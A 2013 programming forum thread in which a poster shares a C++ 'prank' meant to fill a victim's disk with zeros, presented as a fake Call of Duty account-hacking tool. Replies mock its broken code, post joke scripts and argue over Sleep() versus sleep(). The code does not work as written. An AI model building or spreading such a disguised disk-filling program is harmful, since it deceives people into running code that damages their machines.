cool prank

Pages: 12
Oct 11, 2013 at 4:42am
closed account (36k1hbRD)
i made a cool denial of service prank. What it does is create a file write zero's to it and repeat using a loop.I will disguise it as a cod bo2 hacking tool. Here's the code.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#include <iostream>
#include <fstream>
#include <string>

using namespace std;
int main();
{
   int x;
   long long y;
   x = 1;
   cout << "enter your gamertag: \n";
   cout << "patching account... ... ... \n";
   cout << "account has been patched! \n";
   ofstream fout;
   fout.open("Google_Crome.txt");
   for (y = 100000000; x > y; x++)
   {
      fout << "00000000000000000000000000000000000000\n";
   }
   fout.close();
   return 0;
}


Compile the Program in the Dowloads folder
Oct 11, 2013 at 6:03am
A program which opens a file and immediately closes it. Very impressive.

Did you come up with that on your own?
Oct 11, 2013 at 6:12am
closed account (Dy7SLyTq)
im stealing this and patenting it for my own. have i shown you guys my wumbo script?

1
2
3
4
5
6
7
8
9
10
11
#! /bin/bash

clear;
echo Turning wumbo on...;
sleep 20s; #It takes a while for wumbo to boot.
           #Wouldn't want to destroy the processor
set wumbo=on;
echo -n Wumbo is on;
./pause; #Basic C program I wrote to pause the program
	 #without a message
clear;
Oct 11, 2013 at 8:02am
What is wumbo. Did you give me a virus? Anyway I have a better one:

1
2
3
4
5
6
7
8
9
10
#!/usr/bin/env python
from optparse import OptionParser
def requestAction():
    usage="enter access level and game to hack"
    (accessLevel,gameName)=OptionParser(usage).parse_args()
    print("Security team alerted. Logging your name and computer address.")
if __name__=='__main__':
    requestAction()
else:
    print("This module is classified")

Last edited on Oct 11, 2013 at 8:38am
Oct 11, 2013 at 2:16pm
closed account (Dy7SLyTq)
What is wumbo. Did you give me a virus?

that made me feel really sad
Oct 12, 2013 at 5:40pm
closed account (36k1hbRD)
im making a very realistic one that has a time delay so it looks like the program is doing something.
Oct 12, 2013 at 7:18pm
closed account (Dy7SLyTq)
i dont know man... thats really advanced code... i mean you would have to sleep()... and i guess thats about it
Oct 13, 2013 at 5:03am
Sleep() is for only windows. You could also just use a for loop and do a bunch of pointless calculations to waste some time.
Last edited on Oct 13, 2013 at 6:12am
Oct 13, 2013 at 5:08am
closed account (Dy7SLyTq)
what are you talking about? you can sleep() in any function
Oct 13, 2013 at 5:49am
I meant Windows only I don't know why I said main.
Oct 13, 2013 at 5:52am
closed account (Dy7SLyTq)
what are you talking about? you should just stop right now. i only develop on linux right now and had to just use the sleep function
Oct 13, 2013 at 5:59am
Sleep and sleep are two different functions.
Oct 13, 2013 at 6:12am
Thanks @Naraku933 I haven't used linux much only thought there was a Sleep(). Either way what I was trying to say was they are platform dependent. You don't have to be so rude DTSCode its not like you haven't had a typo.
Oct 13, 2013 at 6:15am
closed account (Dy7SLyTq)
i wasnt being rude. you tried to tell me that you could only sleep in windows. if you didnt know you could, then you shouldnt say stuff like you can only do it in windows. thats the kind of shit fred pulls

edit: and if you were trying to say its platform dependent say that instead of
Sleep() is for only windows.
Last edited on Oct 13, 2013 at 6:16am
Oct 13, 2013 at 6:19am
Sleep() is a WINDOWS only function. As naraku mentioned sleep() is for linux.

http://msdn.microsoft.com/en-us/library/windows/desktop/ms686298(v=vs.85).aspx

I did not know there was sleep() for linux you don't have to flame me.

http://stackoverflow.com/questions/6134679/delaying-for-milliseconds-in-c-cross-platform

*fixed typo
Last edited on Oct 13, 2013 at 6:20am
Oct 13, 2013 at 6:20am
We need to stop this now guys. We all know how this ends...
https://vimeo.com/76256858
Oct 13, 2013 at 6:25am
closed account (Dy7SLyTq)
ok ok.., i guess its not that important anymore. Bring it in man!
Oct 14, 2013 at 1:28am
closed account (36k1hbRD)
usleep = Linux
header is <unistd.h>

windows = Sleep
Oct 14, 2013 at 3:33am
closed account (Dy7SLyTq)
There is also sleep. We are done discussing it. It was just a miscommunication
Oct 14, 2013 at 1:48pm
closed account (N36fSL3A)
thats the kind of shit fred pulls
What? I never assume something isn't on other platforms if it isn't on one.
Last edited on Oct 14, 2013 at 1:53pm
Pages: 12